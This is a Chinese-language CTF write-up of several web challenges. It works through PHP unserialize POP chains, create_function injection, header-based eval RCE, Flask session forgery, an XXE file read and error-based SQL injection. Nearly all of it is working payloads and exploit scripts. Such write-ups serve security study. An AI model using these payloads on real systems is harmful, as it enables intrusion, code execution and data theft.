2023安洵杯 and 全国精英挑战赛 Web WriteUp

2023安洵杯 and 全国精英挑战赛 Web WriteUp

安洵杯

easy_unserialize

<?php
highlight_file(__file__);



class Good{
    public $g1;
    private $gg2;   // 不可访问属性

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)  // 对不可访问属性使用 isset 或者 emtype时调用
    {
        echo "__isset";
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1 = "aaa";    //
            }
        }else{
            die("No");
        }
    }
}

class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);   // unset  $this = new
    }
}

class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        echo "__toString";
        $new = $this->l1;
        return $new();   // 这也可以
    }

    public function __get($arg1)   //  调用成员属性不存在
    {
        echo "__get";
        $this->ll2->ll2('b2');  // 1   $this -> ll2 = new Luck; $this->ll2->ll2 = new Flag; $this->ll2->ll2->one = "glob:///*"; two = "Directorylterator";
    }
    public function __unset($arg1)  // 对不可访问成员使用 unset时
    {

        echo "__unset".'</br>';
        var_dump($this->md5);
        if(md5(md5($this->md5)) == 666)   // 213
        {
            if(empty($this->lll3->lll3)){     // empty
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        echo "__call";
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;   //
        }
    }
    public function __set($arg1,$arg2)  // 给不存在的成员赋值时
    {
        echo "__Set";
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}

class Flag
{
    public function __invoke() //把对象当作函数调用
    {
        var_dump($this);
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            var_dump($one);
            var_dump($two);
            $three = new $two($one);               // two =Directorylterator  one = glob   SplFileObject
            foreach ($three as $tmp) {
                echo($tmp . '<br>');
            }
        });
    }

}

unserialize($_POST[1]);
$a = new You;
$a->y1 = new You;
$a->y1->y1 = new Luck('213');
$a->y1->y1->lll3 = new Good('*');
$b = new To;
$b->tt2 = new Luck('213');
$c = new To;
$c->t1 = new Luck('213');
$d = new Flag;
$d->SplFileObject = "/FfffLlllLaAaaggGgGg";//2
$d->FilesystemIterator = "glob:///*"; //1
$c->t1->l1 = $d;
$b->tt2->ll2 = $c;
$a->y1->y1->lll3->g1 = $b;

echo serialize($a);
?>

原生类FilesystemIterator读路径和SplFileObject读文件内容(注意因为属性原因需要进行添加%00 %00)

期中有个md5双重绕过

import hashlib
target_string = '666'
def md5_last5(string):
    # 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()
    md5_string = hashlib.md5(md5_hash.encode()).hexdigest()
    print(md5_string)
    # 截取前面6位字符
    last_5 = md5_string[:3]  # md_hash[-6:]是后6位
    return last_5
# 114514
for j in range(1,9999999999):
    i = str(j)
    # print(md5_last5(i))
    if(md5_last5(i)==target_string):
        print(i)
        break
        
        ### 213

what’s my name

参考:https://www.cnblogs.com/zzjdbk/p/12980483.html(记录本地了)

源码:

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name']
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    var_dump($miao);
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}

这题create_function注入,匿名函数注入

/?d0g3=%22]);}include(%22flag.php%22);system(%27cat%20admin.php%27);/*&name=%00lambda_51

用BP批量发null payload包即可得到flag

安洵杯 全国精英挑战赛(复现)

4号的罗纳尔多

源码:

 <?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd;
    public $a;
    public function __destruct(){
        if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'givemegirlfriend!');
        } else {
            echo 'nonono';
        }
    }
}

if(!preg_match('/^[Oa]:[\d]+|Array|Iterator|Object|List/i',$_GET['Pochy'])){
    unserialize($_GET['Pochy']);
} else {
    echo 'nonono';
} 

这两个if的目的是禁止我们用if('VanZZZZY' === preg_replace('/;+/','VanZZZZY',preg_replace('/[A-Za-z_()]+/','',$this->cmd)))除了()和;以外的符号,比如这种payload来进行命令执行

system(ls);#

知道这个就容易了,并且经过测试发现空格也被过滤了,所以我们选择使用无参数rce进行读取文件

同时我们使用__halt_compiler();这个来终端编译器防止eval报错

image-20240124220630954

后面过滤了很多类,在ctfshow上做过可以用大写的C来进行绕过

而因为版本是php8对参数没有加引号是不能执行的,这里我们只能用无参数来rce。改最后一个请求头就可以了

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}

$b = new SplStack();
$b->push(new evil());
echo serialize($b);

这里总结一下绕/[1]:[\d]+/i的方法,找出所有可以绕过这个的类

<?php
$classes = get_declared_classes();foreach ($classes as $class) {

    $methods = get_class_methods($class);

    foreach ($methods as $method) {

        if (in_array($method, array(

            'unserialize',

        ))) {

            print $class . '::' . $method . "\n";

        }

    }}


ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize

ArrayObject ArrayIterator RecursiveArrayIterator

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}
$a = new evil();
$c = array(1=>$a);
$b = new ArrayObject($c);

echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}
$a = new evil();
$c = array(1=>$a);
$b = new ArrayIterator($c);

echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}
$a = new evil();
$c = array(1=>$a);
$b = new RecursiveArrayIterator($c);


echo serialize($b);

SplDoublyLinkedList SplStack

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}
$a = new evil();
$c = array(1=>$a);
$b = new SplDoublyLinkedList();
$b->push($a);


echo serialize($b);
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd= "eval(end(getallheaders()));__halt_compiler();";
    public $a;

// C:8:"SplStack":93:{i:6;:O:4:"evil":2:{s:3:"cmd";s:45:"eval(end(getallheaders()));__halt_compiler();";s:1:"a";N;}}

}

$b = new SplStack();
$b->push(new evil());
echo serialize($b);

就举例这些吧 都有差不多都是push手法

CarelessPy

这题首先打开是个python的网站

我们看到两个路由eval和login。看到eval我以为是bypass结果是目录遍历路由。然后我们下载图片发现有个/download?file的路由并且存在任意文件读取,但是做了waf。

/eval?cmd=/app/__pycache__    #['part.cpython-36.pyc']
/download?file=../../../app/__pycache__/part.cpython-36.pyc

反编译pyc得到代码:

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import os
import random
import hashlib
from flask import *
from lxml import etree
app = Flask(__name__)
app.config['SECRET_KEY'] = 'o2takuXX_donot_like_ntr'

伪造session 用老朋友

 python flask_session_cookie_manager3.py encode -s "o2takuXX_donot_like_ntr" -t "{'islogin': True}"

登陆成功,访问这个路由/th1s_1s_The_L4st_one,反编译出来的pyc文件中有lxml的引入,我们猜测是XXE漏洞

image-20240124234643483
POST http://47.108.206.43:36020/th1s_1s_The_L4st_one HTTP/1.1
Host: 47.108.206.43:36020
Cookie: PHPSESSID=a7vo5iaolml0l39mhlrocppbc9; session=eyJpc2xvZ2luIjp0cnVlfQ.ZbEwaQ.vuT-JiUS9F8bm9Lk5zSWX_vVVEo
Content-Length: 122

<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY  xxe SYSTEM "file:///flag" >]>
<result><ctf>B|~</ctf><web>&xxe;</web></result>

就可以得到flag了

Confronting robot

无过滤注入 利用报错注入

admin' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))#    '~robot_data~'

admin' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#  name

admin' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='name'),0x7e)))#  username

admin' and (extractvalue(1,concat(0x7e,(select group_concat(username) from robot_data.name),0x7e)))# ~Hacker,secret is in /sEcR@t_n@B  

admin' and extractvalue(1,substr((concat(0x7e,(select group_concat(username) from robot_data.name)),0,10),0x7e))# 

1' and updatexml(1,substr(concat(0x7e,(select group_concat(username) from robot_data.name)),10),0) #

  1. Oa ↩︎